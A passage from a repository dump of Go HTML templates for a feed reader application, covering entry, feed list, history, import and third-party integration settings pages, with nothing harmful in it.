\"confirm.loading\" }}\">{{ icon \"delete\" }}<span class=\"icon-label\">{{ t \"entry.unshare.label\" }}</span></button>\n                </li>\n                {{ else }}\n                <li>\n                    <form method=\"post\" action=\"{{ routePath \"/entry/share/%d\" .entry.ID }}\">\n                        <input type=\"hidden\" name=\"csrf\" value=\"{{ .csrf }}\">\n                        <button type=\"submit\" class=\"page-button\">\n                            {{ icon \"share\" }}<span class=\"icon-label\">{{ t \"entry.share.label\" }}</span>\n                        </button>\n                    </form>\n                </li>\n                {{ end }}\n                <li>\n                    <button\n                        class=\"page-button\"\n                        title=\"{{ t \"entry.scraper.title\" }}\"\n                        data-fetch-content-entry=\"true\"\n                        data-fetch-content-url=\"{{ routePath \"/entry/download/%d\" .entry.ID }}\"\n                        data-label-loading=\"{{ t \"entry.state.loading\" }}\"\n                        >{{ icon \"scraper\" }}<span class=\"icon-label\">{{ t \"entry.scraper.label\" }}</span></button>\n                </li>\n                {{ if .entry.CommentsURL }}\n                <li>\n                    <a href=\"{{ .entry.CommentsURL | safeURL }}\"\n                        class=\"page-link\"\n                        title=\"{{ t \"entry.comments.title\" }}\"\n                        {{ if $.user.OpenExternalLinksInNewTab }}target=\"_blank\"{{ else }}rel=\"noopener\"{{ end }}\n                        data-comments-link=\"true\"\n                        >{{ icon \"comment\" }}<span class=\"icon-label\">{{ t \"entry.comments.label\" }}</span></a>\n                </li>\n                {{ end }}\n            </ul>\n        </div>\n        {{ end }}\n        <div class=\"entry-meta\" dir=\"auto\">\n            <span class=\"entry-website\">\n                {{ if ne .entry.Feed.Icon.IconID 0 }}\n                <img src=\"{{ routePath \"/feed-icon/%s\" .entry.Feed.Icon.ExternalIconID }}\" width=\"16\" height=\"16\" loading=\"lazy\" alt=\"{{ .entry.Feed.Title }}\">\n                {{ end }}\n                {{ if .user }}\n                <a href=\"{{ routePath \"/feed/%d/entries\" .entry.Feed.ID }}\">{{ .entry.Feed.Title }}</a>\n                {{ else }}\n                <a href=\"{{ .entry.Feed.SiteURL | safeURL }}\">{{ .entry.Feed.Title }}</a>\n                {{ end }}\n            </span>\n            {{ if .entry.Author }}\n            <span class=\"entry-author\">\n                {{ if isEmail .entry.Author }}\n                - <a href=\"mailto:{{ .entry.Author }}\">{{ .entry.Author }}</a>\n                {{ else }}\n                – <em>{{ .entry.Author }}</em>\n                {{ end }}\n            </span>\n            {{ end }}\n            {{ if .user }}\n            <span class=\"category\">\n                <a href=\"{{ routePath \"/category/%d/entries\" .entry.Feed.Category.ID }}\">{{ .entry.Feed.Category.Title }}</a>\n            </span>\n            {{ end }}\n        </div>\n        {{ if .entry.Tags }}\n        <div class=\"entry-tags\">\n            {{ t \"entry.tags.label\" }}\n            {{ $allTags := .entry.Tags }}\n            {{ $numTags := len $allTags }}\n            {{ $tagsLimit := 5 }}\n            {{ $numerOfAdditionalTags := subtract $numTags $tagsLimit }}\n\n            <ul class=\"entry-tags-list\">\n                {{ range $i, $tagName := $allTags }}\n                    {{ if lt $i $tagsLimit }}\n                        {{ if $.user }}\n                            <li><a href=\"{{ routePath \"/tags/%s/entries/all\" (urlEncode $tagName) }}\"><strong>{{ $tagName }}</strong></a></li>\n                        {{ else }}\n                            <li><strong>{{ $tagName }}</strong></li>\n                        {{ end }}\n                    {{ end }}\n                {{ end }}\n            </ul>\n\n            {{ if gt $numTags $tagsLimit }}\n                <details class=\"entry-additional-tags\">\n                    <summary>\n                        {{ plural \"entry.tags.more_tags_label\" $numerOfAdditionalTags $numerOfAdditionalTags }}\n                    </summary>\n                    <ul class=\"entry-tags-list\">\n                    {{ range $idx, $tagName := $allTags }}\n                        {{ if ge $idx $tagsLimit }}\n                            {{ if $.user }}\n                                <li><a href=\"{{ routePath \"/tags/%s/entries/all\" (urlEncode $tagName) }}\"><strong>{{ $tagName }}</strong></a></li>\n                            {{ else }}\n                                <li><strong>{{ $tagName }}</strong></li>\n                            {{ end }}\n                        {{ end }}\n                    {{ end }}\n                    </ul>\n                </details>\n            {{ end }}\n        </div>\n        {{ end }}\n        <div class=\"entry-external-link\">\n            <a\n                href=\"{{ .entry.URL | safeURL  }}\"\n                {{ if $.user.OpenExternalLinksInNewTab }}target=\"_blank\"{{ else }}rel=\"noopener\"{{ end }}\n                data-original-link=\"{{ $.user.MarkReadOnView }}\">{{ .entry.URL }}</span></a>\n        </div>\n        <div class=\"entry-date\">\n            {{ if .user }}\n            <time datetime=\"{{ isodate .entry.Date }}\" title=\"{{ isodate .entry.Date }}\">{{ elapsed $.user.Timezone .entry.Date }}</time>\n            {{ else }}\n            <time datetime=\"{{ isodate .entry.Date }}\" title=\"{{ isodate .entry.Date }}\">{{ elapsed \"UTC\" .entry.Date }}</time>\n            {{ end }}\n            {{ if and .user.ShowReadingTime (gt .entry.ReadingTime 0) }}\n            &centerdot;\n            <span class=\"entry-reading-time\">\n                {{ plural \"entry.estimated_reading_time\" .entry.ReadingTime .entry.ReadingTime }}\n            </span>\n            {{ end }}\n        </div>\n    </header>\n</section>\n{{ end }}\n\n\n{{ define \"content\"}}\n{{ if gt (len .entry.Content) 120 }}\n{{ if .user }}\n<div class=\"pagination-entry-top\">\n    {{ template \"entry_pagination\" . }}\n</div>\n{{ end }}\n{{ end }}\n<article class=\"entry-content {{ if ne $.user.GestureNav \"none\" }}gesture-nav-{{ $.user.GestureNav }}{{ end }}\" dir=\"auto\">\n    {{ if not .entry.Feed.NoMediaPlayer }}\n        {{ $mediaPlayerEnclosure := .entry.Enclosures.FindMediaPlayerEnclosure }}\n\n        {{ if $mediaPlayerEnclosure }}\n            {{ with $mediaPlayerEnclosure }}\n                {{ if .IsAudio }}\n                    <div class=\"enclosure-audio\" >\n                        <audio controls preload=\"metadata\"\n                            {{ if $.user }}data-last-position=\"{{ .MediaProgression }}\"{{ end }}\n                            {{ if $.user.MediaPlaybackRate }}data-playback-rate=\"{{ $.user.MediaPlaybackRate }}\"{{ end }}\n                            {{ if $.user.MarkReadOnMediaPlayerCompletion }}data-mark-read-on-completion=\"0.9\"{{ end }}\n                            {{ if $.user }}data-save-url=\"{{ routePath \"/entry/enclosure/%d/save-progression\" .ID }}\"{{ end }}\n                            data-enclosure-id=\"{{ .ID }}\"\n                            >\n                            {{ if (and $.user (mustBeProxyfied \"audio\")) }}\n                            <source src=\"{{ proxyURL .URL }}\" type=\"{{ .Html5MimeType }}\">\n                            {{ else }}\n                            <source src=\"{{ .URL | safeURL }}\" type=\"{{ .Html5MimeType }}\">\n                            {{ end }}\n                        </audio>\n                        {{ template \"enclosure_media_controls\" . }}\n                    </div>\n                {{ else if .IsVideo }}\n                    <div class=\"enclosure-video\">\n                        <video controls preload=\"metadata\"\n                            {{ if $.user }}data-last-position=\"{{ .MediaProgression }}\"{{ end }}\n                            {{ if $.user.MediaPlaybackRate }}data-playback-rate=\"{{ $.user.MediaPlaybackRate }}\"{{ end }}\n                            {{ if $.user.MarkReadOnMediaPlayerCompletion }}data-mark-read-on-completion=\"0.9\"{{ end }}\n                            {{ if $.user }}data-save-url=\"{{ routePath \"/entry/enclosure/%d/save-progression\" .ID }}\"{{ end }}\n                            data-enclosure-id=\"{{ .ID }}\"\n                            >\n                            {{ if (and $.user (mustBeProxyfied \"video\")) }}\n                            <source src=\"{{ proxyURL .URL }}\" type=\"{{ .Html5MimeType }}\">\n                            {{ else }}\n                            <source src=\"{{ .URL | safeURL }}\" type=\"{{ .Html5MimeType }}\">\n                            {{ end }}\n                        </video>\n                        {{ template \"enclosure_media_controls\" . }}\n                    </div>\n                {{ end }}\n            {{ end }}\n        {{ end }}\n    {{ end }}\n\n    {{ if .user }}\n        {{ safeHTML (proxyFilter .entry.Content) }}\n    {{ else }}\n        {{ safeHTML .entry.Content }}\n    {{ end }}\n</article>\n{{ if .entry.Enclosures }}\n<details class=\"entry-enclosures\">\n    <summary>{{ t \"page.entry.attachments\" }} ({{ len .entry.Enclosures }})</summary>\n    {{ range .entry.Enclosures }}\n    {{ if ne .URL \"\" }}\n    <div class=\"entry-enclosure\">\n        {{ if .IsImage }}\n        <div class=\"enclosure-image\">\n            {{ if (and $.user (mustBeProxyfied \"image\")) }}\n            <img src=\"{{ proxyURL .URL }}\" title=\"{{ .URL }} ({{ .MimeType }})\" loading=\"lazy\" alt=\"{{ .URL }} ({{ .MimeType }})\">\n            {{ else }}\n            <img src=\"{{ .URL | safeURL }}\" title=\"{{ .URL }} ({{ .MimeType }})\" loading=\"lazy\" alt=\"{{ .URL }} ({{ .MimeType }})\">\n            {{ end }}\n        </div>\n        {{ end }}\n\n        <div class=\"entry-enclosure-download\">\n            <a href=\"{{ .URL | safeURL }}\" title=\"{{ t \"action.download\" }}{{ if gt .Size 0 }} - {{ formatFileSize .Size }}{{ end }}\" {{ if $.user.OpenExternalLinksInNewTab }}target=\"_blank\"{{ else }}rel=\"noopener\"{{ end }}>{{ .URL | safeURL  }}</a>\n            <small>{{ if gt .Size 0 }} - <strong>{{ formatFileSize .Size }}</strong>{{ end }}</small>\n        </div>\n    </div>\n    {{ end }}\n    {{ end }}\n</details>\n{{ end }}\n\n{{ if .user }}\n<div class=\"pagination-entry-bottom\">\n    {{ template \"entry_pagination\" . }}\n</div>\n{{ end }}\n{{ end }}\n"
  },
  {
    "path": "internal/template/templates/views/feed_entries.html",
    "content": "{{ define \"title\"}}{{ .feed.Title }} ({{ .total }}){{ end }}\n\n{{ define \"page_header\"}}\n<section class=\"page-header\" aria-labelledby=\"page-header-title\">\n    <h1 id=\"page-header-title\" dir=\"auto\">\n        <a href=\"{{ .feed.SiteURL | safeURL  }}\" title=\"{{ .feed.SiteURL }}\" {{ if $.user.OpenExternalLinksInNewTab }}target=\"_blank\"{{ else }}rel=\"noopener\"{{ end }} data-original-link=\"{{ .user.MarkReadOnView }}\">{{ .feed.Title }}</a>\n        <span aria-hidden=\"true\">({{ .total }})</span>\n    </h1>\n    <span class=\"sr-only\">\n        {{ if .showOnlyUnreadEntries }}\n        {{ plural \"page.unread_entry_count\" .total .total }}\n        {{ else }}\n        {{ plural \"page.total_entry_count\" .total .total }}\n        {{ end }}\n    </span>\n    <nav aria-label=\"{{ .feed.Title }} {{ t \"menu.title\" }}\">\n        <ul>\n            {{ if .entries }}\n            <li>\n                <button\n                    class=\"page-button\"\n                    data-action=\"markPageAsRead\"\n                    data-label-question=\"{{ t \"confirm.question\" }}\"\n                    data-label-yes=\"{{ t \"confirm.yes\" }}\"\n                    data-label-no=\"{{ t \"confirm.no\" }}\"\n                    data-label-loading=\"{{ t \"confirm.loading\" }}\"\n                    data-show-only-unread=\"{{ if .showOnlyUnreadEntries }}1{{ end }}\">{{ icon \"mark-page-as-read\" }}{{ t \"menu.mark_page_as_read\" }}</button>\n            </li>\n            <li>\n                <button\n                    class=\"page-button\"\n                    data-confirm=\"true\"\n                    data-label-question=\"{{ t \"confirm.question\" }}\"\n                    data-label-yes=\"{{ t \"confirm.yes\" }}\"\n                    data-label-no=\"{{ t \"confirm.no\" }}\"\n                    data-label-loading=\"{{ t \"confirm.loading\" }}\"\n                    data-url=\"{{ routePath \"/feed/%d/mark-all-as-read\" .feed.ID }}\">{{ icon \"mark-all-as-read\" }}{{ t \"menu.mark_all_as_read\" }}</button>\n            </li>\n            {{ end }}\n            {{ if .showOnlyUnreadEntries }}\n            <li>\n                <a class=\"page-link\" href=\"{{ routePath \"/feed/%d/entries/all\" .feed.ID }}\">{{ icon \"show-all-entries\" }}{{ t \"menu.show_all_entries\" }}</a>\n            </li>\n            {{ else }}\n            <li>\n                <a class=\"page-link\" href=\"{{ routePath \"/feed/%d/entries\" .feed.ID }}\">{{ icon \"show-unread-entries\" }}{{ t \"menu.show_only_unread_entries\" }}</a>\n            </li>\n            {{ end }}\n            <li>\n                <button\n                    class=\"page-button\"\n                    data-confirm=\"true\"\n                    data-label-question=\"{{ t \"confirm.question.refresh\" }}\"\n                    data-label-yes=\"{{ t \"confirm.yes\" }}\"\n                    data-label-no=\"{{ t \"confirm.no\" }}\"\n                    data-label-loading=\"{{ t \"confirm.loading\" }}\"\n                    data-url=\"{{ routePath \"/feed/%d/refresh\" .feed.ID }}?forceRefresh=true\"\n                    data-no-action-url=\"{{ routePath \"/feed/%d/refresh\" .feed.ID }}?forceRefresh=false\">{{ icon \"refresh\" }}{{ t \"menu.refresh_feed\" }}</button>\n            </li>\n            <li>\n                <a class=\"page-link\" href=\"{{ routePath \"/feed/%d/edit\" .feed.ID }}\">{{ icon \"edit\" }}{{ t \"menu.edit_feed\" }}</a>\n            </li>\n            <li>\n                <button\n                    class=\"page-button\"\n                    data-confirm=\"true\"\n                    data-action=\"remove-feed\"\n                    data-label-question=\"{{ t \"confirm.question\" }}\"\n                    data-label-yes=\"{{ t \"confirm.yes\" }}\"\n                    data-label-no=\"{{ t \"confirm.no\" }}\"\n                    data-label-loading=\"{{ t \"confirm.loading\" }}\"\n                    data-url=\"{{ routePath \"/feed/%d/remove\" .feed.ID }}\"\n                    data-redirect-url=\"{{ routePath \"/feeds\" }}\">{{ icon \"delete\" }}{{ t \"action.remove_feed\" }}</button>\n            </li>\n        </ul>\n    </nav>\n</section>\n{{ end }}\n\n{{ define \"content\"}}\n{{ if ne .feed.ParsingErrorCount 0 }}\n<div role=\"alert\" class=\"alert alert-error\">\n    <h3>{{ t \"alert.feed_error\" }}</h3>\n    <p>{{ t .feed.ParsingErrorMsg }}</p>\n</div>\n{{ end }}\n\n{{ if not .entries }}\n    {{ if .showOnlyUnreadEntries }}\n        <p role=\"alert\" class=\"alert\">{{ t \"alert.no_unread_entry\" }}</p>\n    {{ else }}\n        <p role=\"alert\" class=\"alert\">{{ t \"alert.no_feed_entry\" }}</p>\n    {{ end }}\n{{ else }}\n    <div class=\"pagination-top\">\n        {{ template \"pagination\" .pagination }}\n    </div>\n    <div class=\"items\">\n        {{ range .entries }}\n        <article\n            class=\"item entry-item {{ if $.user.EntrySwipe }}entry-swipe{{ end }} item-status-{{ .Status }}\"\n            data-id=\"{{ .ID }}\"\n            aria-labelledby=\"entry-title-{{ .ID }}\"\n            tabindex=\"-1\"\n        >\n            <header class=\"item-header\" dir=\"auto\">\n                <h2 id=\"entry-title-{{ .ID }}\" class=\"item-title\">\n                    <a\n                        {{ if $.showOnlyUnreadEntries }}\n                        href=\"{{ routePath \"/unread/feed/%d/entry/%d\" .Feed.ID .ID }}\"\n                        {{ else }}\n                        href=\"{{ routePath \"/feed/%d/entry/%d\" .Feed.ID .ID }}\"\n                        {{ end }}\n                    >\n                        {{ if ne .Feed.Icon.IconID 0 }}\n                        <img src=\"{{ routePath \"/feed-icon/%s\" .Feed.Icon.ExternalIconID }}\" width=\"16\" height=\"16\" loading=\"lazy\" alt=\"\">\n                        {{ end }}\n                        {{ .Title }}\n                    </a>\n                </h2>\n                <span class=\"category\">\n                    <a\n                        href=\"{{ routePath \"/category/%d/entries\" .Feed.Category.ID }}\"\n                        aria-label=\"{{ t \"page.category_label\" .Feed.Category.Title }}\"\n                    >\n                        {{ .Feed.Category.Title }}\n                    </a>\n                </span>\n            </header>\n            {{ template \"item_meta\" dict \"user\" $.user \"entry\" . \"hasSaveEntry\" $.hasSaveEntry }}\n        </article>\n        {{ end }}\n    </div>\n    <section class=\"page-footer\">\n        {{ if .entries }}\n        <ul>\n            <li>\n                <button\n                    class=\"page-button\"\n                    data-action=\"markPageAsRead\"\n                    data-label-question=\"{{ t \"confirm.question\" }}\"\n                    data-label-yes=\"{{ t \"confirm.yes\" }}\"\n                    data-label-no=\"{{ t \"confirm.no\" }}\"\n                    data-label-loading=\"{{ t \"confirm.loading\" }}\"\n                    data-show-only-unread=\"{{ if .showOnlyUnreadEntries }}1{{ end }}\">{{ icon \"mark-page-as-read\" }}{{ t \"menu.mark_page_as_read\" }}</button>\n            </li>\n        </ul>\n        {{ end }}\n    </section>\n    <div class=\"pagination-bottom\">\n        {{ template \"pagination\" .pagination }}\n    </div>\n{{ end }}\n\n{{ end }}\n"
  },
  {
    "path": "internal/template/templates/views/feeds.html",
    "content": "{{ define \"title\"}}{{ t \"page.feeds.title\" }} ({{ .total }}){{ end }}\n\n{{ define \"page_header\"}}\n<section class=\"page-header\" aria-labelledby=\"page-header-title\">\n    <h1 id=\"page-header-title\">{{ t \"page.feeds.title\" }} ({{ .total }})</h1>\n    {{ template \"feed_menu\" }}\n</section>\n{{ end }}\n\n{{ define \"content\"}}\n{{ if not .feeds }}\n    <p role=\"alert\" class=\"alert\">{{ t \"alert.no_feed\" }}</p>\n{{ else }}\n    {{ template \"feed_list\" dict \"user\" .user \"feeds\" .feeds \"ParsingErrorCount\" .ParsingErrorCount }}\n{{ end }}\n\n{{ end }}\n"
  },
  {
    "path": "internal/template/templates/views/history_entries.html",
    "content": "{{ define \"title\"}}{{ t \"page.history.title\" }} ({{ .total }}){{ end }}\n\n{{ define \"page_header\"}}\n<section class=\"page-header\" aria-labelledby=\"page-header-title page-header-title-count\">\n    <h1 id=\"page-header-title\">\n        {{ t \"page.history.title\" }}\n        <span aria-hidden=\"true\">({{ .total }})</span>\n    </h1>\n    <span id=\"page-header-title-count\" class=\"sr-only\">{{ plural \"page.read_entry_count\" .total .total }}</span>\n    <nav aria-label=\"{{ t \"page.history.title\" }} {{ t \"menu.title\" }}\">\n        <ul>\n            {{ if .entries }}\n            <li>\n                <button\n                    class=\"page-button\"\n                    data-confirm=\"true\"\n                    data-url=\"{{ routePath \"/history/flush\" }}\"\n                    data-label-question=\"{{ t \"confirm.question\" }}\"\n                    data-label-yes=\"{{ t \"confirm.yes\" }}\"\n                    data-label-no=\"{{ t \"confirm.no\" }}\"\n                    data-label-loading=\"{{ t \"confirm.loading\" }}\">{{ icon \"delete\" }}{{ t \"menu.flush_history\" }}</button>\n            </li>\n            {{ end }}\n            <li>\n                <a class=\"page-link\" href=\"{{ routePath \"/shares\" }}\">{{ icon \"share\" }}{{ t \"menu.shared_entries\" }}</a>\n            </li>\n        </ul>\n    </nav>\n</section>\n{{ end }}\n\n{{ define \"content\"}}\n{{ if not .entries }}\n    <p role=\"alert\" class=\"alert alert-info\">{{ t \"alert.no_history\" }}</p>\n{{ else }}\n    <div class=\"pagination-top\">\n        {{ template \"pagination\" .pagination }}\n    </div>\n    <div class=\"items\">\n        {{ range .entries }}\n        <article\n            class=\"item entry-item {{ if $.user.EntrySwipe }}entry-swipe{{ end }} item-status-{{ .Status }}\"\n            data-id=\"{{ .ID }}\"\n            aria-labelledby=\"entry-title-{{ .ID }}\"\n            tabindex=\"-1\"\n        >\n            <header class=\"item-header\" dir=\"auto\">\n                <h2 id=\"entry-title-{{ .ID }}\" class=\"item-title\">\n                    <a href=\"{{ routePath \"/history/entry/%d\" .ID }}\">\n                        {{ if ne .Feed.Icon.IconID 0 }}\n                        <img src=\"{{ routePath \"/feed-icon/%s\" .Feed.Icon.ExternalIconID }}\" width=\"16\" height=\"16\" loading=\"lazy\" alt=\"\">\n                        {{ end }}\n                        {{ .Title }}\n                    </a>\n                </h2>\n                <span class=\"category\">\n                    <a href=\"{{ routePath \"/category/%d/entries\" .Feed.Category.ID }}\">\n                        {{ .Feed.Category.Title }}\n                    </a>\n                </span>\n            </header>\n            {{ template \"item_meta\" dict \"user\" $.user \"entry\" . \"hasSaveEntry\" $.hasSaveEntry  }}\n        </article>\n        {{ end }}\n    </div>\n    <div class=\"pagination-bottom\">\n        {{ template \"pagination\" .pagination }}\n    </div>\n{{ end }}\n\n{{ end }}\n"
  },
  {
    "path": "internal/template/templates/views/import.html",
    "content": "{{ define \"title\"}}{{ t \"page.import.title\" }}{{ end }}\n\n{{ define \"page_header\"}}\n<section class=\"page-header\" aria-labelledby=\"page-header-title\">\n    <h1 id=\"page-header-title\">{{ t \"page.import.title\" }}</h1>\n    {{ template \"feed_menu\" }}\n</section>\n{{ end }}\n\n{{ define \"content\"}}\n{{ if .errorMessage }}\n    <div role=\"alert\" class=\"alert alert-error\">{{ .errorMessage }}</div>\n{{ end }}\n\n<form action=\"{{ routePath \"/upload\" }}\" method=\"post\" enctype=\"multipart/form-data\">\n    <input type=\"hidden\" name=\"csrf\" value=\"{{ .csrf }}\">\n\n    <label for=\"form-file\">{{ t \"form.import.label.file\" }}</label>\n    <input type=\"file\" name=\"file\" id=\"form-file\">\n\n    <div class=\"buttons\">\n        <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.import\" }}</button>\n    </div>\n</form>\n<hr>\n<form action=\"{{ routePath \"/fetch\" }}\" method=\"post\" enctype=\"multipart/form-data\">\n    <input type=\"hidden\" name=\"csrf\" value=\"{{ .csrf }}\">\n\n    <label for=\"form-url\">{{ t \"form.import.label.url\" }}</label>\n    <input type=\"url\" name=\"url\" id=\"form-url\" required>\n\n    <div class=\"buttons\">\n        <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.import\" }}</button>\n    </div>\n</form>\n\n{{ end }}\n"
  },
  {
    "path": "internal/template/templates/views/integrations.html",
    "content": "{{ define \"title\"}}{{ t \"page.integrations.title\" }}{{ end }}\n\n{{ define \"page_header\"}}\n<section class=\"page-header\" aria-labelledby=\"page-header-title\">\n    <h1 id=\"page-header-title\">{{ t \"page.integrations.title\" }}</h1>\n    {{ template \"settings_menu\" dict \"user\" .user }}\n</section>\n{{ end }}\n\n{{ define \"content\"}}\n<form method=\"post\" autocomplete=\"off\" action=\"{{ routePath \"/integration\" }}\" class=\"integration-form\">\n    <input type=\"hidden\" name=\"csrf\" value=\"{{ .csrf }}\">\n\n    {{ if .errorMessage }}\n        <div role=\"alert\" class=\"alert alert-error\">{{ .errorMessage }}</div>\n    {{ end }}\n\n    <details {{ if .form.ArchiveorgEnabled }}open{{ end }}>\n        <summary>Archive.org</summary>\n        <div class=\"form-section\">\n            <label>\n                <input type=\"checkbox\" name=\"archiveorg_enabled\" value=\"1\" {{ if .form.ArchiveorgEnabled }}checked{{ end }}> {{ t \"form.integration.archiveorg_activate\" }}\n            </label>\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </div>\n    </details>\n\n    <details {{ if .form.AppriseEnabled }}open{{ end }}>\n        <summary>Apprise</summary>\n        <div class=\"form-section\">\n            <label>\n                <input type=\"checkbox\" name=\"apprise_enabled\" value=\"1\" {{ if .form.AppriseEnabled }}checked{{ end }}> {{ t \"form.integration.apprise_activate\" }}\n            </label>\n\n            <label for=\"form-apprise-url\">{{ t \"form.integration.apprise_url\" }}</label>\n            <input type=\"url\" name=\"apprise_url\" id=\"form-apprise-url\" value=\"{{ .form.AppriseURL }}\" placeholder=\"http://apprise:8080\" spellcheck=\"false\">\n\n            <label for=\"form-apprise-services-urls\">{{ t \"form.integration.apprise_services_url\" }}\n                <a href=\"https://github.com/caronc/apprise/wiki\" {{ if $.user.OpenExternalLinksInNewTab }}target=\"_blank\"{{ end }}>\n                    {{ icon \"external-link\" }}\n                </a>\n            </label>\n            <input type=\"text\" name=\"apprise_services_url\" id=\"form-apprise-services-urls\" value=\"{{ .form.AppriseServicesURL }}\" placeholder=\"tgram://<token>/<chat_id>/,matrix://\" spellcheck=\"false\">\n\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </div>\n    </details>\n\n    <details {{ if .form.BetulaEnabled }}open{{ end }}>\n        <summary>Betula</summary>\n        <div class=\"form-section\">\n            <label>\n                <input type=\"checkbox\" name=\"betula_enabled\" value=\"1\" {{ if .form.BetulaEnabled }}checked{{ end }}> {{ t \"form.integration.betula_activate\" }}\n            </label>\n\n            <label for=\"form-betula-url\">{{ t \"form.integration.betula_url\" }}</label>\n            <input type=\"url\" name=\"betula_url\" id=\"form-betula-url\" value=\"{{ .form.BetulaURL }}\" placeholder=\"http://links.bouncepaw.com\" spellcheck=\"false\">\n\n            <label for=\"form-betula-token\">{{ t \"form.integration.betula_token\" }}</label>\n            <input type=\"text\" name=\"betula_token\" id=\"form-betula-token\" value=\"{{ .form.BetulaToken }}\" spellcheck=\"false\">\n\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </div>\n    </details>\n\n    <details {{ if .form.CuboxEnabled }}open{{ end }}>\n        <summary>Cubox</summary>\n        <div class=\"form-section\">\n            <label>\n                <input type=\"checkbox\" name=\"cubox_enabled\" value=\"1\" {{ if .form.CuboxEnabled }}checked{{ end }}> {{ t \"form.integration.cubox_activate\" }}\n            </label>\n\n            <label for=\"form-cubox-api-link\">{{ t \"form.integration.cubox_api_link\" }}</label>\n            <input type=\"url\" name=\"cubox_api_link\" id=\"form-cubox-api-link\" value=\"{{ .form.CuboxAPILink }}\" placeholder=\"https://cubox.pro/c/api/save/xxx\" spellcheck=\"false\">\n\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </div>\n    </details>\n\n    <details {{ if .form.DiscordEnabled }}open{{ end }}>\n        <summary>Discord</summary>\n        <div class=\"form-section\">\n            <label>\n                <input type=\"checkbox\" name=\"discord_enabled\" value=\"1\" {{ if .form.DiscordEnabled }}checked{{ end }}> {{ t \"form.integration.discord_activate\" }}\n            </label>\n\n            <label for=\"form-discord-webhook-link\">{{ t \"form.integration.discord_webhook_link\" }}</label>\n            <input type=\"url\" name=\"discord_webhook_link\" id=\"form-discord-webhook-link\" value=\"{{ .form.DiscordWebhookLink }}\" placeholder=\"https://discord.com/api/webhooks/xxx/xxx\" spellcheck=\"false\">\n\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </div>\n    </details>\n\n    <details {{ if .form.EspialEnabled }}open{{ end }}>\n        <summary>Espial</summary>\n        <div class=\"form-section\">\n            <label>\n                <input type=\"checkbox\" name=\"espial_enabled\" value=\"1\" {{ if .form.EspialEnabled }}checked{{ end }}> {{ t \"form.integration.espial_activate\" }}\n            </label>\n\n            <label for=\"form-espial-url\">{{ t \"form.integration.espial_endpoint\" }}</label>\n            <input type=\"url\" name=\"espial_url\" id=\"form-espial-url\" value=\"{{ .form.EspialURL }}\" placeholder=\"https://esp.ae8.org\" spellcheck=\"false\">\n\n            <label for=\"form-espial-api-key\">{{ t \"form.integration.espial_api_key\" }}</label>\n            <input type=\"text\" name=\"espial_api_key\" id=\"form-espial-api-key\" value=\"{{ .form.EspialAPIKey }}\" spellcheck=\"false\">\n\n            <label for=\"form-espial-tags\">{{ t \"form.integration.espial_tags\" }}</label>\n            <input type=\"text\" name=\"espial_tags\" id=\"form-espial-tags\" value=\"{{ .form.EspialTags }}\" spellcheck=\"false\">\n\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </div>\n    </details>\n\n    <details {{ if .form.FeverEnabled }}open{{ end }}>\n        <summary>Fever</summary>\n        <div class=\"form-section\">\n            <label>\n                <input type=\"checkbox\" name=\"fever_enabled\" value=\"1\" {{ if .form.FeverEnabled }}checked{{ end }}> {{ t \"form.integration.fever_activate\" }}\n            </label>\n\n            <label for=\"form-fever-username\">{{ t \"form.integration.fever_username\" }}</label>\n            <input type=\"text\" name=\"fever_username\" id=\"form-fever-username\" value=\"{{ .form.FeverUsername }}\" autocomplete=\"username\" spellcheck=\"false\">\n\n            <label for=\"form-fever-password\">{{ t \"form.integration.fever_password\" }}</label>\n            <input type=\"password\" name=\"fever_password\" id=\"form-fever-password\" value=\"{{ .form.FeverPassword }}\" autocomplete=\"new-password\">\n\n            <p>{{ t \"form.integration.fever_endpoint\" }} <strong>{{ rootURL }}{{ routePath \"/fever/\" }}</strong></p>\n\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </div>\n    </details>\n\n    <details {{ if .form.GoogleReaderEnabled }}open{{ end }}>\n        <summary>Google Reader</summary>\n        <div class=\"form-section\">\n            <label>\n                <input type=\"checkbox\" name=\"googlereader_enabled\" value=\"1\" {{ if .form.GoogleReaderEnabled }}checked{{ end }}> {{ t \"form.integration.googlereader_activate\" }}\n            </label>\n\n            <label for=\"form-googlereader-username\">{{ t \"form.integration.googlereader_username\" }}</label>\n            <input type=\"text\" name=\"googlereader_username\" id=\"form-googlereader-username\" value=\"{{ .form.GoogleReaderUsername }}\" autocomplete=\"username\" spellcheck=\"false\">\n\n            <label for=\"form-googlereader-password\">{{ t \"form.integration.googlereader_password\" }}</label>\n            <input type=\"password\" name=\"googlereader_password\" id=\"form-googlereader-password\" value=\"{{ .form.GoogleReaderPassword }}\" autocomplete=\"new-password\">\n\n            <p>{{ t \"form.integration.googlereader_endpoint\" }} <strong>{{ rootURL }}{{ routePath \"/\" }}</strong></p>\n\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </div>\n    </details>\n\n    <details {{ if .form.InstapaperEnabled }}open{{ end }}>\n        <summary>Instapaper</summary>\n        <div class=\"form-section\">\n            <label>\n                <input type=\"checkbox\" name=\"instapaper_enabled\" value=\"1\" {{ if .form.InstapaperEnabled }}checked{{ end }}> {{ t \"form.integration.instapaper_activate\" 